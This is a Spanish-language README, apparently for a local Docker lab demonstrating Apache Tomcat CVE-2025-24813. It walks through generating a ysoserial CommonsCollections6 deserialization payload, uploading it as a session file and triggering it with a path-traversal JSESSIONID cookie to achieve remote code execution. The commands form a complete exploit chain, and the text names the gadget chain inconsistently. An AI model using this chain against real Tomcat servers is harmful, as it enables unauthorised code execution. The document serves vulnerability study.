
Prueba de concepto que demuestra Apache Tomcat CVE-2025-24813, explotando el PUT inseguro de DefaultServlet y la deserialización de sesiones para lograr la ejecución remota de código.
Este repositorio contiene una aplicación simple construida para observar el comportamiento del CVE-2025-24813, una vulnerabilidad reciente en Apache Tomcat relacionada con el uso del DefaultServlet con escritura habilitada (readonly=false), permitiendo operaciones de escritura no seguras vía HTTP PUT (con soporte a partial PUT / Content-Range) que pueden llevar a la sobrescritura de archivos sensibles, incluyendo archivos de sesión — posibilitando escenarios de RCE en caso de que ocurra deserialización maliciosa.
La aplicación utiliza:
| Componente | Función |
|---|
| Tomcat 9 + JDK 11 | Servidor vulnerable utilizado como blanco |
context.xml | Habilita PersistentManager + FileStore guardando sesiones en disco |
upload.jsp | Endpoint simple que recibe datos y los graba en disco |
/tmp/app-data/ | Directorio donde se guardarán las subidas |
La idea inicial es observar cómo Tomcat maneja archivos en un entorno configurado para el estudio del CVE — comenzando con una solicitud benigna, que solo graba un archivo de forma controlada (sin intento de explotación) y luego un archivo malicioso.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
En otra terminal ejecute los comandos a continuación.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Enviaremos un archivo simple para observar el comportamiento normal.
Subida enviando una cadena
echo "Archivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Este es solo un mensaje simple."
Si todo está correcto, en el terminal ejecutando strace no debería aparecer nada.
Nota: Si aparecen errores SIGSEGV en strace, ignórelos. Son ruido de la JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Aquí usamos la cadena CommonsCollections4 para generar un objeto que, en un escenario vulnerable, podría ejecutar el comando touch /tmp/RCE. El payload se guardará como hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Si el comando anterior da error, es porque para garantizar la compatibilidad con versiones modernas de Java (9+), es necesario agregar la flag --add-opens para desactivar el encapsulamiento fuerte (JPMS), que de otra forma bloquearía la reflexión usada por ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Después de este comando tendrá un archivo binario local:
hack.session
Enviamos el archivo .session al endpoint JSP, que graba el contenido directamente en el directorio /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Salida esperada:
Archivo guardado con éxito en: /tmp/app-data/hack.session
📌 En este momento ningún comando se ejecuta — solo ocurrió la grabación del archivo en el servidor.
Ahora hacemos una solicitud enviando la cookie JSESSIONID=hack, intentando forzar a Tomcat a cargar la sesión recién creada.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
Yendo al terminal del strace deberían haber aparecido comandos de execve creando el archivo.
Para ver si el archivo fue creado también podemos entrar al contenedor y verificar
docker exec -it toy-cve ls -l /tmp/